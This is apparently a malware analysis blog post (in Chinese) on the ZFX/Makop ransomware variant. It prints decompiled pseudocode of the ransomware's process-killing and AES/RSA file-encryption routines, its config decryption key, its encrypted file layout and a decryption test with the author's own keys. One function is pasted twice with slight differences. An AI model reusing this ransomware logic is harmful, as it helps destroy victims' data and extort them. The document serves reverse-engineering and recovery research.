首页 > 其他分享 >ZFX

ZFX

时间:2023-02-14 23:55:26浏览次数:54  
标签:NumberOfBytesWritten ZFX hKey exe DWORD BYTE hFile

ZFX

ZFX是Makop 勒索变种,采用RSA2048+AES-256-CBC,随机生成2个32字节的AESKEY,文件加密时随机生成新IV,轮询AESKEY,并使用内置公钥将AESKEY加密存储。没有私钥则无法解密文件。

目录

文件信息

image-20230212124538563

image-20230212131435614

dialog

image-20230212124850488

样本来源https://bbs.kafan.cn/thread-2251527-1-1.html

运行效果

image-20230213213822450

程序流程

start_00406800

入口点

image-20230212125522288

  • isAdmin_407A90

    判断是否为admin

  • init_4068B0

    设置全局变量

  • runas_407790

    ShellExecuteExW runas args->'e'

init_4068B0

image-20230212131711090

初始化变量,ndata区块内数据通过DecryptWrapper_00402950 AES-256-CBC解密获取

DecryptWrapper_00402950

image-20230212131941737

DecryptWrapper@(RSAKeyInfo *obj@, int tag, DWORD *pdwDataLen),遍历ndata_info数组查找指定的tag项,然后通过start+ndata_base_41F000的到数据起始位置,end-start得到数据长度,sz为解密后长度

image-20230212120708157

image-20230212132141897

首先会调用setDecKey_402810设置ndata的解密key,

image-20230212131910356

ndata_aeskey=b'_+\x0eD\x96\x9c\x8ab\xf4}\xccW\xe5\xc0\xfb\x16Y^9\xb9l\xcc(\xb9\xbdV\xbaV\x9c\x08fO'

ndata_iv=b'\x00'*16

解密得到的部分信息:

image-20230212133106468

main_do_406D70

image-20230212135014858

config_407040

设置排除项

image-20230212215603369

image-20230212220100112

net_enc_406F50

net_enc_406F50@(WCHAR *dir@),加密网络路径,参数为空时加密全部网络文件

image-20230213220124056

net_thread_4067A0调用

Net_enc_thread_4065F0

加密网络资源

image-20230213230649205

DialogFunc_00404D50

WM_INITDIALOG

image-20230212141301736

image-20230213214844910

WM_COMMAND

Start

image-20230212141559157

Start folder

image-20230212141808607

其他事件

image-20230212142008251

自定义消息:0x401u

加密结束后将ID、加密大小上传到 iplogger.com/1LZcC4

image-20230213214110053

do_delete_407890

image-20230212220342221

其他操作

如果勾选'sc'选项,加密前会删除卷影备份、结束指定的进程

image-20230214224223858

cmd_delete_4080E0

cmd执行命令删除卷影备份

image-20230214224246159

kill_procs_408150

void *__stdcall kill_procs_408150()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v14 = 0;
  v0 = (WCHAR *)DecryptWrapper(pkeyinfo_41C288, 5, &pdwDataLen);
  // 5 sqlbrowser.exe;sqlwriter.exe;sqlservr.exe;msmdsrv.exe;MsDtsSrvr.exe;sqlceip.exe;fdlauncher.exe;Ssms.exe;sqlagent.exe;fdhost.exe;ReportingServicesService.exe;msftesql.exe;pg_ctl.exe;postgres.exe;UniFi.exe;armsvc.exe;IntelCpHDCPSvc.exe;OfficeClickToRun.exe;DellOSDService.exe;DymoPnpService.exe;Agent.exe;FJTWMKSV.exe;IPROSetMonitor.exe;IRMTService.exe;MBCloudEA.exe;QBCFMonitorService.exe;QBIDPService.exe;RstMwService.exe;TeamViewer_Service.exe;dasHost.exe;IntelCpHeciSvc.exe;RAVBg64.exe;vds.exe;unsecapp.exe;TodoBackupService.exe;MediaButtons.exe;IAStorDataMgrSvc.exe;jhi_service.exe;LMS.exe;DDVDataCollector.exe;DDVCollectorSvcApi.exe;TeamViewer.exe;tv_w32.exe;tv_x64.exe;Microsoft.Photos.exe;MicrosoftEdge.exe;ApplicationFrameHost.exe;browser_broker.exe;MicrosoftEdgeSH.exe;MicrosoftEdgeCP.exe;RtkNGUI64.exe;WavesSvc64.exe;OneDrive.exe;DYMO.DLS.Printing.Host.exe;FtLnSOP.exe;FjtwMkup.exe;FTPWREVT.exe;FTErGuid.exe;qbupdate.exe;QBWebConnector.exe;ShellExperienceHost.exe;RuntimeBroker.exe;IAStorIcon.exe;PrivacyIconClient.exe;SupportAssistAgent.exe;SecurityHealthService.exe;taskhostw.exe;taskhosta.exe;wijca.exe;ktfwswe.exe;HeciServer.exe;mdm.exe;ULCDRSvr.exe;WLIDSVC.EXE;WLIDSVCM.EXE;GoogleCrashHandler.exe;GoogleCrashHandler64.exe;RAVCpl64.exe;igfxtray.exe;hkcmd.exe;igfxpers.exe;PsiService_2.exe;UNS.exe;taskeng.exe;AdobeARM.exe;LenovoReg.exe;dwm.exe;wuauclt.exe;avp.exe;FBService.exe;LBAEvent.exe;PDFProFiltSrvPP.exe;avpsus.exe;klnagent.exe;vapm.exe;ScanToPCActivationApp.exe;BrStMonW.exe;BrCtrlCntr.exe;concentr.exe;redirector.exe;BrccMCtl.exe;BrYNSvc.exe;Receiver.exe;BrCcUxSys.exe;LSCNotify.exe;SelfServicePlugin.exe;wfcrun32.exe;HPNETW~1.EXE;HPScan.exe;taskhost.exe;Teams.exe;AuthManSvr.exe;WLXPhotoGallery.exe;outlook.exe;prevhost.exe;excel.exe;chrome.exe;AcroRd32.exe;RdrCEF.exe;vssadmin.exe;WmiPrvSE.exe;oracle.exe;ocssd.exe;dbsnmp.exe;synctime.exe;agntsrvc.exe;mydesktopqos.exe;isqlplussvc.exe;xfssvccon.exe;mydesktopservice.exe;ocautoupds.exe;encsvc.exe;firefoxconfig.exe;tbirdconfig.exe;ocomm.exe;mysqld.exe;mysqld-nt.exe;mysqld-opt.exe;dbeng50.exe;sqbcoreservice.exe;infopath.exe;msaccess.exe;mspub.exe;onenote.exe;powerpnt.exe;steam.exe;thebat.exe;thebat64.exe;thunderbird.exe;visio.exe;winword.exe;wordpad.exe;
  v1 = v0;
  v15 = v0;
  if ( v0 )
  {
    split_2_wstrlist_4038C0(v0, &v14);
    Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
    v3 = Toolhelp32Snapshot;
    if ( Toolhelp32Snapshot == (HANDLE)-1 )
    {
      nullsub_1();
    }
    else
    {
      pe.dwSize = 556;
      if ( Process32FirstW(Toolhelp32Snapshot, &pe) )
      {
        v4 = v14;
        do
        {
          v5 = v4;
          if ( v4 )
          {
            while ( 1 )
            {
              szExeFile = pe.szExeFile;
              do
              {
                v7 = *(WCHAR *)((char *)szExeFile + (char *)v5->wstr - (char *)pe.szExeFile);
                if ( (unsigned int)v7 >= 'A' && (unsigned int)v7 <= 'Z' )
                  v7 += 32;

                v8 = v7;
                v9 = *szExeFile;
                if ( *szExeFile >= 0x41u && v9 <= 0x5Au )
                  v9 += 32;

                ++szExeFile;
              }
              while ( v8 && v8 == v9 );

              if ( v8 == v9 )
                break;

              v5 = v5->nextws;
              if ( !v5 )
                goto LABEL_21;
            }

            v10 = OpenProcess(1u, 0, pe.th32ProcessID);
            v11 = v10;
            if ( v10 )
            {
              TerminateProcess(v10, 0xFFFFFFFF);
              CloseHandle(v11);
            }
          }

LABEL_21:
          ;
        }
        while ( Process32NextW(v3, &pe) );

        v1 = v15;
      }

      CloseHandle(v3);
    }

    ProcessHeap = GetProcessHeap();
    HeapFree(ProcessHeap, 0, v1);
  }

  return node_free_4037C0(&v14);
}

主要加密函数分析

最终调用的加密函数只有enc1_403EE0和enc2_4044E0

enc1_403EE0

// 全部加密
char __usercall enc1_403EE0@<al>(TraverseThreadParam *obj@<ebx>, WCHAR *path, HANDLE hFile)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  hKey = 0;
  v31 = 0;
  currentEncSize.QuadPart = 0i64;
  org_end.QuadPart = 0i64;
  iv = get_random_IV();
  if ( iv )
  {
    key1_2 = obj->diskinfo_0->usekey1or2_30;    // 初始为1
    obj->diskinfo_0->usekey1or2_30 = (key1_2 == 1) + 1;
    if ( SetFilePointerEx(hFile, 0i64, &origEndFilePointer, FILE_END) )
    {
      v3 = origEndFilePointer.LowPart & 0xF;
      if ( (origEndFilePointer.LowPart & 0xF) == 0
        || (v4 = 16 - v3, mem_set(Buffer, 0, 16 - v3), WriteFile(hFile, Buffer, v4, &NumberOfBytesWritten, 0))// 原始文件尾部填充,16字节对齐
        && NumberOfBytesWritten >= v4 )
      {
        key = key1_2 == 1 ? obj->diskinfo_0->aeskey1_20 : obj->diskinfo_0->aeskey2_28;
        if ( import_aes_key(&hKey, key, (BYTE *)iv) )
        {
          v6 = search_wchar_from_end(path, '\\');
          if ( v6 )
            v7 = v6 + 1;
          else
            v7 = path;

          v8 = v7;
          while ( *v8++ )
            ;

          namesize = 2 * (v8 - v7) - 2;
          align = namesize + 0x1C;
          nNumberOfBytesToWrite = namesize + 0x1C;
          if ( (((_BYTE)namesize + 0x1C) & 0xF) != 0 )
          {
            align += 16 - (((_BYTE)namesize + 0x1C) & 0xF);// LockEnd 数据对齐16
            nNumberOfBytesToWrite = align;
          }

          if ( align )
          {
            v27 = align;
            ProcessHeap = GetProcessHeap();
            v13 = (LockEnd *)HeapAlloc(ProcessHeap, 0, v27);
            lpBuffer = v13;
            if ( v13 )
            {
              v13->quick_buf_size_0x40000_0 = 0;
              v13->filesize_div3_LowPart_4 = 0;
              v13->filesize_div3_HighPart_8 = 0;
              v13->FileSize_C = origEndFilePointer;
              v13->fnamesize_14 = namesize;
              mem_cpy(v13->fname, v7, namesize);
              lockend = (LockEnd *)lpBuffer;
              *(_DWORD *)((char *)lockend->fname + namesize) = CRC_Hash(lpBuffer, namesize + 24);
              if ( encrypto_402B30((BYTE *)lockend, hKey, nNumberOfBytesToWrite) )
              {
                CryptDestroyKey(hKey);
                hKey = 0;
                if ( SetFilePointerEx(hFile, 0i64, &org_end, FILE_END) )
                {
                  WriteFile_ = WriteFile;
                  if ( WriteFile(hFile, &currentEncSize, 8u, &NumberOfBytesWritten, 0) )// 8字节0
                  {
                    if ( NumberOfBytesWritten >= 8 )
                    {
                      if ( WriteFile(hFile, lockend, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )// lockend 
                      {
                        if ( NumberOfBytesWritten >= nNumberOfBytesToWrite )
                        {
                          if ( WriteFile(hFile, &nNumberOfBytesToWrite, 4u, &NumberOfBytesWritten, 0) )// lockend 长度
                          {
                            if ( NumberOfBytesWritten >= 4 )
                            {
                              v16 = (BYTE *)iv;
                              if ( WriteFile(hFile, iv, 0x10u, &NumberOfBytesWritten, 0) )// iv
                              {
                                if ( NumberOfBytesWritten >= 0x10 )
                                {
                                  v17 = key1_2 == 1 ? obj->diskinfo_0->rsaenc_disk_keyinfo1_24 : obj->diskinfo_0->rsaenc_disk_keyinfo2_2C;
                                  if ( WriteFile(hFile, v17, 0x80u, &NumberOfBytesWritten, 0)// rsaenc_disk_keyinfo rsa公钥加密的磁盘和aeskey信息
                                    && NumberOfBytesWritten >= 0x80
                                    && WriteFile(hFile, &lock_second4bytes_41A02C, 4u, &NumberOfBytesWritten, 0)// 标志
                                    && NumberOfBytesWritten >= 4
                                    && WriteFile(hFile, &lock_last4bytes_41A020, 4u, &NumberOfBytesWritten, 0)// 加密标志
                                    && NumberOfBytesWritten >= 4 )
                                  {
                                    v18 = key1_2 == 1 ? obj->diskinfo_0->aeskey1_20 : obj->diskinfo_0->aeskey2_28;
                                    if ( import_aes_key(&hKey, v18, v16) )
                                    {
                                      HighPart = currentEncSize.HighPart;
                                      if ( currentEncSize.QuadPart >= origEndFilePointer.QuadPart )// 加密结束0xff 填充加密长度
                                      {
END_ENC:
                                        CryptDestroyKey(hKey);
                                        hKey = 0;
                                        if ( SetFilePointerEx(hFile, org_end, 0, FILE_BEGIN)
                                          && WriteFile_(hFile, byte0xFF_40A000, 8u, &NumberOfBytesWritten, 0)
                                          && NumberOfBytesWritten >= 8 )
                                        {
                                          v31 = 1;
                                        }       // end
                                      }
                                      else
                                      {
                                        while ( SetFilePointerEx(
                                                  hFile,
                                                  (LARGE_INTEGER)__PAIR64__(HighPart, currentEncSize.LowPart),
                                                  0,
                                                  FILE_BEGIN) )
                                        {
                                          padsize = 0;
                                          leftFileSize = origEndFilePointer.LowPart - currentEncSize.LowPart;
                                          if ( origEndFilePointer.QuadPart - currentEncSize.QuadPart >= (unsigned int)obj->part2_buf_size_n0x100000_10 )// buf值最大0x100000
                                          {
                                            leftFileSize = obj->part2_buf_size_n0x100000_10;
                                            v42 = 0;
                                          }
                                          else
                                          {
                                            v42 = (unsigned __int64)(origEndFilePointer.QuadPart
                                                                   - currentEncSize.QuadPart) >> 32;
                                          }

                                          if ( !ReadFile(hFile, obj->part2_buf_C, leftFileSize, &NumberOfBytesRead, 0) )
                                            break;

                                          v22 = NumberOfBytesRead;
                                          if ( NumberOfBytesRead )
                                          {
                                            if ( NumberOfBytesRead < obj->part2_buf_size_n0x100000_10 )
                                            {
                                              v23 = NumberOfBytesRead & 0xF;
                                              if ( (NumberOfBytesRead & 0xF) != 0 )
                                              {
                                                padsize = 16 - v23;
                                                mem_set((_BYTE *)obj->part2_buf_C + NumberOfBytesRead, 0, 16 - v23);
                                                v22 = NumberOfBytesRead;
                                              }
                                            }

                                            if ( !encrypto_402B30((BYTE *)obj->part2_buf_C, hKey, padsize + v22)
                                              || !SetFilePointerEx(hFile, currentEncSize, 0, FILE_BEGIN)
                                              || !WriteFile(
                                                    hFile,
                                                    obj->part2_buf_C,
                                                    padsize + NumberOfBytesRead,
                                                    &NumberOfBytesWritten,
                                                    0)
                                              || NumberOfBytesWritten < NumberOfBytesRead + padsize )
                                            {
                                              break;
                                            }

                                            currentEncSize.QuadPart += NumberOfBytesRead;
                                            if ( NumberOfBytesRead >= obj->part2_buf_size_n0x100000_10 )
                                            {
                                              if ( !SetFilePointerEx(hFile, org_end, 0, FILE_BEGIN)
                                                || !WriteFile(hFile, &currentEncSize, 8u, &NumberOfBytesWritten, 0)// 大于0x100000后更新为当前加密的长度
                                                || NumberOfBytesWritten < 8 )
                                              {
                                                break;
                                              }

                                              HighPart = currentEncSize.HighPart;
                                              if ( currentEncSize.QuadPart < origEndFilePointer.QuadPart )
                                                continue;
                                            }
                                          }

                                          WriteFile_ = WriteFile;
                                          goto END_ENC;
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }

              v28 = (void *)lpBuffer;
              v24 = GetProcessHeap();
              HeapFree(v24, 0, v28);
            }
          }
        }
      }
    }

    v29 = (void *)iv;
    v25 = GetProcessHeap();
    HeapFree(v25, 0, v29);
  }

  if ( hKey )
    CryptDestroyKey(hKey);

  return v31;
}

enc2_4044E0

// quick模式或者小文件,加密前0x40000字节
char __usercall enc2_4044E0@<al>(_WORD *name@<eax>, TraverseThreadParam *info, HANDLE hFile)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  hKey = 0;
  v26 = 0;
  if ( GetFileSizeEx(hFile, &FileSize) )
  {
    pdwDataLen.QuadPart = FileSize.QuadPart / 3;
    random_IV = get_random_IV();
    iv = random_IV;
    if ( random_IV )
    {
      key1_2 = info->diskinfo_0->usekey1or2_30;
      v27 = key1_2;
      info->diskinfo_0->usekey1or2_30 = (key1_2 == 1) + 1;
      if ( key1_2 == 1 )
        aeskey = info->diskinfo_0->aeskey1_20;
      else
        aeskey = info->diskinfo_0->aeskey2_28;

      if ( import_aes_key(&hKey, aeskey, (BYTE *)random_IV) )
      {
        v7 = name;
        while ( *v7++ )
          ;

        while ( --v7 != name )
        {
          if ( *v7 == '\\' )
          {
            v9 = v7 + 1;
            goto LABEL_15;
          }
        }

        if ( *v7 == '\\' )
          v9 = v7 + 1;
        else
          v9 = name;

LABEL_15:
        v10 = v9;
        while ( *v10++ )
          ;

        fnamesize = 2 * (v10 - v9) - 2;
        v13 = fnamesize + 28;
        LockEndPadedSize = fnamesize + 28;
        if ( (((_BYTE)fnamesize + 28) & 0xF) != 0 )// 16字节对齐
        {
          v13 += 16 - (((_BYTE)fnamesize + 28) & 0xF);
          LockEndPadedSize = v13;
        }

        if ( v13 )
        {
          v25 = v13;
          ProcessHeap = GetProcessHeap();
          v15 = (LockEnd *)HeapAlloc(ProcessHeap, 0, v25);
          LockHead = (int)v15;
          if ( v15 )
          {
            n_0x40000_14 = info->n_0x40000_14;
            LowPart = pdwDataLen.LowPart;
            v15->filesize_div3_HighPart_8 = pdwDataLen.HighPart;
            v15->quick_buf_size_0x40000_0 = n_0x40000_14;
            v15->filesize_div3_LowPart_4 = LowPart;
            v15->FileSize_C = FileSize;
            v15->fnamesize_14 = fnamesize;
            mem_cpy(v15->fname, v9, fnamesize);
            *(_DWORD *)(fnamesize + LockHead + 0x18) = CRC_Hash((_BYTE *)LockHead, fnamesize + 0x18);//   DWORD crc32hash;
            pdwDataLen.LowPart = LockEndPadedSize;
            if ( CryptEncrypt(hKey, 0, 0, 0, (BYTE *)LockHead, &pdwDataLen.LowPart, LockEndPadedSize) )// 先使用key1加密
            {
              CryptDestroyKey(hKey);
              hKey = 0;
              // 文件指针开始位于尾部
              if ( WriteFile(hFile, (LPCVOID)LockHead, LockEndPadedSize, &NumberOfBytesWritten, 0u) )// 写入LockEnd
              {
                if ( NumberOfBytesWritten >= LockEndPadedSize
                  && WriteFile(hFile, &LockEndPadedSize, 4u, &NumberOfBytesWritten, 0u)// LockEnd大小
                  && NumberOfBytesWritten >= 4
                  && WriteFile(hFile, iv, 0x10u, &NumberOfBytesWritten, 0u)// iv
                  && NumberOfBytesWritten >= 0x10 )
                {
                  v19 = v27 == 1 ? info->diskinfo_0->rsaenc_disk_keyinfo1_24 : info->diskinfo_0->rsaenc_disk_keyinfo2_2C;
                  if ( WriteFile(hFile, v19, 0x80u, &NumberOfBytesWritten, 0u)// 磁盘的key信息
                    && NumberOfBytesWritten >= 0x80
                    && WriteFile(hFile, &lock_second4bytes_41A02C, 4u, &NumberOfBytesWritten, 0u)
                    && NumberOfBytesWritten >= 4
                    && WriteFile(hFile, &lock_last4bytes_41A020, 4u, &NumberOfBytesWritten, 0u)
                    && NumberOfBytesWritten >= 4 )
                  {
                    v20 = v27 == 1 ? info->diskinfo_0->aeskey1_20 : info->diskinfo_0->aeskey2_28;
                    if ( import_aes_key(&hKey, v20, (BYTE *)iv) )
                    {
                      v21 = hKey;
                      if ( SetFilePointerEx(hFile, 0i64, &pdwDataLen, FILE_BEGIN) )
                      {
                        if ( quick_enc_404400(hFile, info, v21, &pdwDataLen) )// 从文件头开始加密
                        {
                          CryptDestroyKey(hKey);
                          hKey = 0;
                          v26 = 1;
                        }
                      }
                    }
                  }
                }
              }
            }

            v22 = GetProcessHeap();
            HeapFree(v22, 0, (LPVOID)LockHead);
          }
        }

        random_IV = (void *)iv;
      }

      v23 = GetProcessHeap();
      HeapFree(v23, 0, random_IV);
    }
  }

  if ( hKey )
    CryptDestroyKey(hKey);

  return v26;
}char __usercall enc2_4044E0@<al>(_WORD *name@<eax>, TraverseThreadParam *info, HANDLE hFile)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  hKey = 0;
  v26 = 0;
  if ( GetFileSizeEx(hFile, &FileSize) )
  {
    pdwDataLen.QuadPart = FileSize.QuadPart / 3;
    random_IV = get_random_IV();
    iv = random_IV;
    if ( random_IV )
    {
      key1_2 = info->diskinfo_0->usekey1or2_30;
      v27 = key1_2;
      info->diskinfo_0->usekey1or2_30 = (key1_2 == 1) + 1;
      if ( key1_2 == 1 )
        aeskey = info->diskinfo_0->aeskey1_20;
      else
        aeskey = info->diskinfo_0->aeskey2_28;

      if ( import_aes_key(&hKey, aeskey, (BYTE *)random_IV) )
      {
        v7 = name;
        while ( *v7++ )
          ;

        while ( --v7 != name )
        {
          if ( *v7 == '\\' )
          {
            v9 = v7 + 1;
            goto LABEL_15;
          }
        }

        if ( *v7 == '\\' )
          v9 = v7 + 1;
        else
          v9 = name;

LABEL_15:
        v10 = v9;
        while ( *v10++ )
          ;

        fnamesize = 2 * (v10 - v9) - 2;
        v13 = fnamesize + 28;
        LockEndPadedSize = fnamesize + 28;
        if ( (((_BYTE)fnamesize + 28) & 0xF) != 0 )// 16字节对齐
        {
          v13 += 16 - (((_BYTE)fnamesize + 28) & 0xF);
          LockEndPadedSize = v13;
        }

        if ( v13 )
        {
          v25 = v13;
          ProcessHeap = GetProcessHeap();
          v15 = (LockEnd *)HeapAlloc(ProcessHeap, 0, v25);
          LockHead = (int)v15;
          if ( v15 )
          {
            n_0x40000_14 = info->n_0x40000_14;
            LowPart = pdwDataLen.LowPart;
            v15->filesize_div3_HighPart_8 = pdwDataLen.HighPart;
            v15->n_0x40000_0 = n_0x40000_14;
            v15->filesize_div3_LowPart_4 = LowPart;
            v15->FileSize_C = FileSize;
            v15->fnamesize_14 = fnamesize;
            mem_cpy(v15->fname, v9, fnamesize);
            *(_DWORD *)(fnamesize + LockHead + 0x18) = CRC_Hash((_BYTE *)LockHead, fnamesize + 0x18);//   DWORD crc32hash;
            pdwDataLen.LowPart = LockEndPadedSize;
            if ( CryptEncrypt(hKey, 0, 0, 0, (BYTE *)LockHead, &pdwDataLen.LowPart, LockEndPadedSize) )// 先使用key1加密
            {
              CryptDestroyKey(hKey);
              hKey = 0;
              // 文件指针开始位于尾部
              if ( WriteFile(hFile, (LPCVOID)LockHead, LockEndPadedSize, &NumberOfBytesWritten, 0u) )// 写入LockEnd
              {
                if ( NumberOfBytesWritten >= LockEndPadedSize
                  && WriteFile(hFile, &LockEndPadedSize, 4u, &NumberOfBytesWritten, 0u)// LockEnd大小
                  && NumberOfBytesWritten >= 4
                  && WriteFile(hFile, iv, 0x10u, &NumberOfBytesWritten, 0u)// iv
                  && NumberOfBytesWritten >= 0x10 )
                {
                  v19 = v27 == 1 ? info->diskinfo_0->rsaenc_disk_keyinfo1_24 : info->diskinfo_0->rsaenc_disk_keyinfo2_2C;
                  if ( WriteFile(hFile, v19, 0x80u, &NumberOfBytesWritten, 0u)// 磁盘的key信息
                    && NumberOfBytesWritten >= 0x80
                    && WriteFile(hFile, &lock_second4bytes_41A02C, 4u, &NumberOfBytesWritten, 0u)
                    && NumberOfBytesWritten >= 4
                    && WriteFile(hFile, &lock_last4bytes_41A020, 4u, &NumberOfBytesWritten, 0u)
                    && NumberOfBytesWritten >= 4 )
                  {
                    v20 = v27 == 1 ? info->diskinfo_0->aeskey1_20 : info->diskinfo_0->aeskey2_28;
                    if ( import_aes_key(&hKey, v20, (BYTE *)iv) )
                    {
                      v21 = hKey;
                      if ( SetFilePointerEx(hFile, 0i64, &pdwDataLen, FILE_BEGIN) )
                      {
                        if ( part_enc_404400(hFile, info, v21, &pdwDataLen) )// 从文件头开始加密
                        {
                          CryptDestroyKey(hKey);
                          hKey = 0;
                          v26 = 1;
                        }
                      }
                    }
                  }
                }
              }
            }

            v22 = GetProcessHeap();
            HeapFree(v22, 0, (LPVOID)LockHead);
          }
        }

        random_IV = (void *)iv;
      }

      v23 = GetProcessHeap();
      HeapFree(v23, 0, random_IV);
    }
  }

  if ( hKey )
    CryptDestroyKey(hKey);

  return v26;
}

加密文件结构

quick

rsa解密出quick_buf_size(0x40000)大于0时

quick{
BYTE aesenc [0x40000 ? FileSize > 0x40000 :FileSize_pad16 ]
//BYTE orig [FileSize-0x40000]//大于0x40000 时
BYTE aesenc_LockEnd [Lockend_size] {
  int quick_buf_size_0x40000_0;//quick模式下为0x40000,
  _DWORD filesize_div3_LowPart_4;
  _DWORD filesize_div3_HighPart_8;
  __unaligned __declspec(align(1)) LARGE_INTEGER FileSize_C;
  int fnamesize_14;
  WORD fname[fnamesize+LockEndStub_pad16];//
  DWORD CRC32;
}//16字节对齐,在fname中填充
DWORD Lockend_size
BYTE iv_[0x10]
BYTE rsa_enc_DiskKeyInfo_[0x80]{
  _DWORD encid_e3a20bc0_0;
  _DWORD ID;
  _DWORD VolumeSerialNumber;
  _DWORD DriveTypeW;
  _BYTE aeskey_data[32];
  _DWORD crchash;
  //
}//rsa公钥加密的DiskKeyInfo
BYTE e3a20bc0 [4]
BYTE f32e5921 [4]
}


full

文件小于0x40000或者quick_buf_size为0

full{
BYTE enc_size[Original_file_size_pad16]
BYTE 0xff[8]
BYTE aesenc_LockEnd [Lockend_size] {
  int quick_buf_size_0x40000_0;//quick模式下为0x40000,full下为0
  _DWORD filesize_div3_LowPart_4;//full下为0
  _DWORD filesize_div3_HighPart_8;full下为0
  __unaligned __declspec(align(1)) LARGE_INTEGER FileSize_C;
  int fnamesize_14;
  WORD fname[fnamesize+LockEndStub_pad16];//
  DWORD CRC32;
}//16字节对齐,在fname中填充
DWORD Lockend_size
BYTE iv_[0x10]
BYTE rsa_enc_DiskKeyInfo_[0x80]{
  _DWORD encid_e3a20bc0_0;
  _DWORD ID;
  _DWORD VolumeSerialNumber;
  _DWORD DriveTypeW;
  _BYTE aeskey_data[32];
  _DWORD crchash;
  //
}//rsa公钥加密的DiskKeyInfo
BYTE e3a20bc0 [4]
BYTE f32e5921 [4]
}

修改公钥,测试解密

原公钥密钥位置

image-20230213224545312

替换公钥

新公钥和私钥

#公钥publicblob:BgIAAACkAABSU0ExAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2g==
#私钥
privateblob:BwIAAACkAABSU0EyAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2lt/lzMbG7iFsGo7CCTb4xH5LbvIDWKwTYCNUT/2Y/Zt94mU5JZQAtnKPxVmm99zPF60CkFPFH2Zz6WqRlAShd4n7Xneram4IwpMSzXp+lXWkLz4++ARi9H6vUh121HcytF14BfpRjPpYGCCa5hdqoQD0qPh141+fQ9CUFhjFjT7A8pUGNUNAGB7htuJBhfiL5XjPXo301HfmBrMvPzo0jH1CtQtu9g2tecmZlhvuKeF7EZrAF9vXwI5/Ao6WwFhErPJa+r7NbWzKkIceP1Q+0XAkcB5CL655bpJygt+nC/jCSY1XD3Pdy3DZO1P5TcbZ4IBVDZ/cjMBp2P/JkDwHQ6/UAPdN1Qkl/twfWPkYy+Y7R3e/unbx75BDNmdAr42BfNt0BCtu/0mRgE1IkViNNfFI9J8lFoOaGf70ShCYXCxOU8iBUCUecL4Wye7v3PrRCLF2HZbGepsDTtysfSN0psV6xsstj1IJvn377ZwrzXgg79LSberrgCaTUTvSvW/0SP6AQRVgnLui11kw+4/tLEBnsxW1YTdhjC72cd3NLR9wGzgkNJu+nSdgmUe3/rRQaE/DCz+nfJo65JAh+/xma8=    

加密公钥

mypuk=base64.b64decode(r'BgIAAACkAABSU0ExAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2g==')
ndata_aeskey=b'_+\x0eD\x96\x9c\x8ab\xf4}\xccW\xe5\xc0\xfb\x16Y^9\xb9l\xcc(\xb9\xbdV\xbaV\x9c\x08fO'
aescp=AES.new(ndata_aeskey,AES.MODE_CBC,b'\x00'*16)
sz=len(mypuk)
padsize=sz%16
if padsize!=0:
    padsize=16-padsize
enc=aescp.encrypt(mypuk+b'\x00'*padsize)
print(binascii.hexlify(enc))

"""
314deb099ef172fc67b1368de97f0942af2473c01a59bfb3b0770ea0e8f14a3a778f577f45b28a35e96a9db552697edd0592518d0937d7f5b3839514b531d0fcd7ee6b4367d59ac334acca8f013bfb4c29189b5dcce53f32311c213b2875ce858c6ec97fe0e45630f10e486067d6b564db6f71ecd733c3b0797e948b52c37421927811f265271ce385d7e1d44a95ba01f1e92035ce8decd913b7a22905b775e4
"""

替换后

image-20230214221954777

解密测试

import binascii
import os
import struct
from Crypto.Cipher import AES
from Crypto.Util import Padding

import base64

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as PKCS1_cipher

'''
    # private_key = RSA.construct((modulus, e, privateExponent))
    # cipher = PKCS1_cipher.new(private_key)
'''
# publicblob:BgIAAACkAABSU0ExAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2g==
